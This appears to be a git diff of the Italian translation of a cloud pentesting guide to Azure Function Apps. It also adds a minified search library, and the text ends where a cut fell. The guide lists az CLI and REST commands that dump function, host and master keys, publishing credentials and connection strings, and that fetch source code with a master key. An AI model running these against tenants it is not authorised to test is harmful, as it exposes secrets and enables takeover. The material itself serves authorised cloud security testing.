contiene il codice dell'app web. > [!TIP] -> Basta connettersi tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. ## Privilege Escalation diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 08f2338ea..0ac7ed89b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -7,19 +7,19 @@ **Azure Function Apps** sono un **servizio di calcolo serverless** che consente di eseguire piccoli pezzi di codice, chiamati **funzioni**, senza gestire l'infrastruttura sottostante. Sono progettate per eseguire codice in risposta a vari trigger, come **richieste HTTP, timer o eventi da altri servizi Azure** come Blob Storage o Event Hubs. Le Function Apps supportano più linguaggi di programmazione, tra cui C#, Python, JavaScript e Java, rendendole versatili per costruire **applicazioni basate su eventi**, automatizzare flussi di lavoro o integrare servizi. Sono economiche, poiché di solito si paga solo per il tempo di calcolo utilizzato quando il codice viene eseguito. > [!NOTE] -> Nota che **le Funzioni sono un sottoinsieme dei Servizi App**, quindi molte delle funzionalità discusse qui saranno utilizzate anche dalle applicazioni create come Azure Apps (`webapp` in cli). +> Nota che **le Funzioni sono un sottoinsieme dei Servizi App**, pertanto, molte delle funzionalità discusse qui saranno utilizzate anche dalle applicazioni create come Azure Apps (`webapp` in cli). -### Piani Diversi +### Piani Differenti - **Piano di Consumo Flessibile**: Offre **scalabilità dinamica e basata su eventi** con prezzi pay-as-you-go, aggiungendo o rimuovendo istanze di funzione in base alla domanda. Supporta **rete virtuale** e **istanze pre-provisionate** per ridurre i cold start, rendendolo adatto per **carichi di lavoro variabili** che non richiedono supporto per container. -- **Piano di Consumo Tradizionale**: L'opzione serverless predefinita, dove **si paga solo per le risorse di calcolo quando le funzioni vengono eseguite**. Si scala automaticamente in base agli eventi in arrivo e include **ottimizzazioni per i cold start**, ma non supporta le distribuzioni di container. Ideale per **carichi di lavoro intermittenti** che richiedono scalabilità automatica. +- **Piano di Consumo Tradizionale**: L'opzione serverless predefinita, dove **si paga solo per le risorse di calcolo quando le funzioni vengono eseguite**. Si scala automaticamente in base agli eventi in arrivo e include **ottimizzazioni per i cold start**, ma non supporta il deployment di container. Ideale per **carichi di lavoro intermittenti** che richiedono scalabilità automatica. - **Piano Premium**: Progettato per **prestazioni costanti**, con **lavoratori pre-riscaldati** per eliminare i cold start. Offre **tempi di esecuzione estesi, rete virtuale** e supporta **immagini Linux personalizzate**, rendendolo perfetto per **applicazioni mission-critical** che necessitano di alte prestazioni e funzionalità avanzate. - **Piano Dedicato**: Esegue su macchine virtuali dedicate con **fatturazione prevedibile** e supporta scalabilità manuale o automatica. Consente di eseguire più app sullo stesso piano, fornisce **isolamento di calcolo** e garantisce **accesso sicuro alla rete** tramite App Service Environments, rendendolo ideale per **applicazioni a lungo termine** che necessitano di allocazione costante delle risorse. - **Container Apps**: Consente di distribuire **app di funzione containerizzate** in un ambiente gestito, insieme a microservizi e API. Supporta librerie personalizzate, migrazione di app legacy e **elaborazione GPU**, eliminando la gestione del cluster Kubernetes. Ideale per **applicazioni containerizzate scalabili e basate su eventi**. -### **Bucket di Archiviazione** +### **Storage Buckets** -Quando si crea una nuova Function App non containerizzata (ma si fornisce il codice da eseguire), il **codice e altri dati relativi alla Funzione saranno memorizzati in un account di archiviazione**. Per impostazione predefinita, la console web creerà un nuovo account per ogni funzione per memorizzare il codice. +Quando si crea una nuova Function App non containerizzata (ma si fornisce il codice da eseguire), il **codice e altri dati relativi alla Funzione saranno memorizzati in un account di Storage**. Per impostazione predefinita, la console web creerà un nuovo account per ogni funzione per memorizzare il codice. Inoltre, modificando il codice all'interno del bucket (nei diversi formati in cui potrebbe essere memorizzato), il **codice dell'app verrà modificato con il nuovo e verrà eseguito** la prossima volta che la Funzione viene chiamata. @@ -28,7 +28,7 @@ Inoltre, modificando il codice all'interno del bucket (nei diversi formati in cu > > Maggiori informazioni su questo nella **sezione sull'escalation dei privilegi**. -È anche possibile trovare le **chiavi master e delle funzioni** memorizzate nell'account di archiviazione nel contenitore **`azure-webjobs-secrets`** all'interno della cartella **``** nei file JSON che puoi trovare all'interno. +È anche possibile trovare le **chiavi master e delle funzioni** memorizzate nell'account di storage nel contenitore **`azure-webjobs-secrets`** all'interno della cartella **``** nei file JSON che puoi trovare all'interno. Nota che le Funzioni consentono anche di memorizzare il codice in una posizione remota semplicemente indicando l'URL. @@ -42,23 +42,23 @@ Utilizzando un trigger HTTP: > [!CAUTION] > Questo è molto interessante dal punto di vista di un attaccante poiché potrebbe essere possibile **pivotare verso reti interne** da una Function vulnerabile esposta a Internet. -### **Impostazioni della Function App e Variabili d'Ambiente** +### **Impostazioni della Function App & Variabili d'Ambiente** -È possibile configurare variabili d'ambiente all'interno di un'app, che potrebbero contenere informazioni sensibili. Inoltre, per impostazione predefinita, le variabili d'ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (tra le altre) vengono create. Queste sono particolarmente interessanti perché **contengono la chiave dell'account per controllare con PERMESSI COMPLETI l'account di archiviazione contenente i dati dell'applicazione**. Queste impostazioni sono anche necessarie per eseguire il codice dall'Account di Archiviazione. +È possibile configurare variabili d'ambiente all'interno di un'app, che potrebbero contenere informazioni sensibili. Inoltre, per impostazione predefinita, le variabili d'ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (tra le altre) vengono create. Queste sono particolarmente interessanti perché **contengono la chiave dell'account per controllare con PERMESSI COMPLETI l'account di storage contenente i dati dell'applicazione**. Queste impostazioni sono anche necessarie per eseguire il codice dall'Account di Storage. -Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL in cui si trova il codice dell'applicazione. +Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL dove si trova il codice dell'applicazione. -### **Sandbox della Funzione** +### **Function Sandbox** All'interno della sandbox linux il codice sorgente si trova in **`/home/site/wwwroot`** nel file **`function_app.py`** (se viene utilizzato python) l'utente che esegue il codice è **`app`** (senza permessi sudo). In una **funzione Windows** che utilizza NodeJS il codice si trovava in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, il nome utente era **`mawsFnPlaceholder8_f_v4_node_20_x86`** ed era parte dei **gruppi**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`. -### **Identità Gestite e Metadati** +### **Identità Gestite & Metadati** Proprio come [**VM**](vms/index.html), le Funzioni possono avere **Identità Gestite** di 2 tipi: Assegnate dal sistema e Assegnate dall'utente. -L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** che l'ha assegnata potrà utilizzare, mentre le **identità gestite assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**. +L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** a cui è assegnata potrà utilizzare, mentre le **identità gestite assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**. > [!NOTE] > Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se si compromette la funzione perché si potrebbe essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione. @@ -67,9 +67,11 @@ L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la f È possibile utilizzare gli [**script PEASS**](https://github.com/peass-ng/PEASS-ng) per ottenere token dall'identità gestita predefinita dall'endpoint dei metadati. Oppure potresti ottenerli **manualmente** come spiegato in: -{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm +{{#endref}} -Nota che devi trovare un modo per **controllare tutte le Identità Gestite a cui una funzione è collegata** poiché se non lo indichi, l'endpoint dei metadati utilizzerà **solo quella predefinita** (controlla il link precedente per ulteriori informazioni). +Nota che è necessario trovare un modo per **controllare tutte le Identità Gestite a cui una funzione è collegata** poiché se non lo indichi, l'endpoint dei metadati utilizzerà **solo quella predefinita** (controlla il link precedente per ulteriori informazioni). ## Chiavi di Accesso @@ -78,14 +80,14 @@ Nota che devi trovare un modo per **controllare tutte le Identità Gestite a cui Quando si crea un endpoint all'interno di una funzione utilizzando un **trigger HTTP**, è possibile indicare il **livello di autorizzazione della chiave di accesso** necessario per attivare la funzione. Sono disponibili tre opzioni: -- **ANONYMOUS**: **Chiunque** può accedere alla funzione tramite l'URL. +- **ANONYMOUS**: **Tutti** possono accedere alla funzione tramite l'URL. - **FUNCTION**: L'endpoint è accessibile solo agli utenti che utilizzano una **chiave di funzione, host o master**. - **ADMIN**: L'endpoint è accessibile solo agli utenti con una **chiave master**. **Tipo di chiavi:** - **Chiavi di Funzione:** Le chiavi di funzione possono essere predefinite o definite dall'utente e sono progettate per concedere accesso esclusivamente a **endpoint di funzione specifici** all'interno di una Function App consentendo un accesso più dettagliato sugli endpoint. -- **Chiavi Host:** Le chiavi host, che possono essere predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**. +- **Chiavi Host:** Le chiavi host, che possono essere anch'esse predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**. - **Chiave Master:** La chiave master (`_master`) funge da chiave amministrativa che offre permessi elevati, incluso l'accesso a tutti gli endpoint di funzione (incluso il livello di accesso ADMIN). Questa **chiave non può essere revocata.** - **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da estensioni specifiche** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API. @@ -192,7 +194,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -Inoltre, viene creata un'**Identità Gestita** affinché l'azione di Github del repository possa accedere ad Azure con essa. Questo avviene generando una credenziale Federata sull'**Identità Gestita** che consente all'**Emittente** `https://token.actions.githubusercontent.com` e all'**Identificatore del Soggetto** `repo:/:ref:refs/heads/`. +Inoltre, viene creata un'**Identità Gestita** affinché l'azione Github del repository possa accedere ad Azure con essa. Questo avviene generando una credenziale Federata sull'**Identità Gestita** che consente all'**Emittente** `https://token.actions.githubusercontent.com` e all'**Identificatore del Soggetto** `repo:/:ref:refs/heads/`. > [!CAUTION] > Pertanto, chiunque comprometta quel repository sarà in grado di compromettere la funzione e le Identità Gestite ad essa collegate. @@ -211,10 +213,10 @@ Inoltre, **nessun codice sorgente sarà memorizzato nell'account di archiviazion # List all the functions az functionapp list -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# List functions in an function-app (endpoints) +az functionapp function list \ +--name \ +--resource-group # Get details about the source of the function code az functionapp deployment source show \ @@ -231,6 +233,9 @@ az functionapp config container show \ # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group +# Get access restrictions +az functionapp config access-restriction show --name --resource-group + # Check if a domain was assigned to a function app az functionapp config hostname list --webapp-name --resource-group @@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group # Get network restrictions az functionapp config access-restriction show --name --resource-group -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +# Get acess restrictions +az functionapp config access-restriction show --name --resource-group + +# Get connection strings +az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/connectionstrings/list?api-version=2022-03-01" +az rest --method GET --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/configreferences/connectionstrings?api-version=2022-03-01" + +# Get SCM credentials +az functionapp deployment list-publishing-credentials --name --resource-group + +# Get function, system and master keys +az functionapp keys list --name --resource-group + +# Get Host key +az rest --method POST --uri "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" # Get source code with Master Key of the function curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v +curl "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v + +# Get source code using SCM access (Azure permissions or SCM creds) +az rest --method GET \ +--url "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" \ +--resource "https://management.azure.com/" + +# Get source code with Azure permissions +az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +## Another example +az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01" -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash Get-Command -Module Az.Functions # Lists all Function Apps in the current subscription or in a specific resource group. diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js new file mode 100644 index 000000000..32cb1bce1 --- /dev/null +++ b/theme/elasticlunr.min.js @@ -0,0 +1,10 @@ +/** + * elasticlunr - http://weixsong.github.io + * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5 + * + * Copyright (C) 2016 Oliver Nightingale + * Copyright (C) 2016 Wei Song + * MIT Licensed + * @license + */ +!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e||void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var 